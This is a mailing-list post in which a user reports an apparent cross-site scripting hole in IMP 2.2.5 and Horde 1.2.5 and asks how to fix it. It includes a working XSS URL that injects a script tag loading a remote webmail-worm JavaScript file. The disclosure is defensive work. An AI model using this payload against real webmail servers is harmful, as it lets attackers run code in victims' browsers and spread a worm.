Scripting vulnerability, worm propagation??

[Neil Johnson]

---------------------- multipart/alternative attachment

Hello,

I think IMP 2.2.5 and Horde 1.2.5 are vulnerable to similar scripting exploits.  For more info go to http://www.sidesport.com/webworm/index.html(not my site).  I have emailed an account on my Horde/Imp server the following link and the link(the sidesport sample which I modified to point to my Horde/Imp server) seems to include in the source/execute the javascript.  http://your.hordeimpserver.com/horde/imp/mailbox.php3?mailbox=INBOX%22%3E%3Cscript%20language%3D%22Javascript%22%20src%3D%22http%3A//www.sidesport.com/webworm/webmailworm.js%22%3E%3C/script%3E%3C%22asd

 I apologize if there is a FAQ with a fix for this, I searched the list and couldn't find anything.  What, if anything, can or should I do to correct this?  The sidesport site mentions escaping query data, but I am unsure of how to apply this fix to Horde/Imp.

 

Thanks in advance!

Neil Johnson



---------------------------------
Do You Yahoo!?
Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail.
---------------------- multipart/alternative attachment--